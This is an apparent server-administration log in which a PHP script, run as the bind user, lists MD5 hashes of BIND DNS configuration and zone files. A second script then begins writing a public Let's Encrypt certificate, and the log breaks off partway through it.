MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-04 19:02:38: Establishing a connection
2026-03-04 19:02:56: Establishing a connection
2026-03-04 19:02:56: 

PUT: /tmp/pkp232302

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-04 19:02:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp232302; rm /tmp/pkp232302'

2026-03-04 19:02:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-04 19:03:15: Establishing a connection
2026-03-04 19:03:16: 

PUT: /tmp/pkp828979

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
5f:c6:ed:f0:30:68:d2:60:40:4f:6d:f3:1a:ee:98:4e

-----BEGIN CERTIFICATE-----
MIIE6DCCA9CgAwIBAgISBSbtbNND6sLBWBxRVjuDf0uOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA0MTc1OTM0WhcNMjYwNjAyMTc1OTMzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC47q+GXe0u
QFo77yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF
/4GPCnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9
FSK9lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1
dFdnQsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPB
KglslND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19s
lBiivi6aCmlXAgMBAAGjggIWMIICEjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUzr6b3wwvtuaxfoHP
BO8Fq9/Q1YIwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTUuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGcujbg/wAABAMARzBFAiEA01AfZUZUSLbS0USNNSMg2DUG
hh+xCVMdbR+FHRaPc9kCIF35EFAoMzn1gklTmN7I8bny4ajaradDCr8KzT2JFehl
AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGcujbhwgAABAMA
RzBFAiEAs6bwqj2iT+9D3olF7ZGPEifyb9NzWyRTlO57zLXS+S8CIC6INl8BPqKg
/EOozL6bnOPVcAzh93lg8Q8V/6xu1SuNMA0GCSqGSIb3DQEBCwUAA4IBAQDF0o87
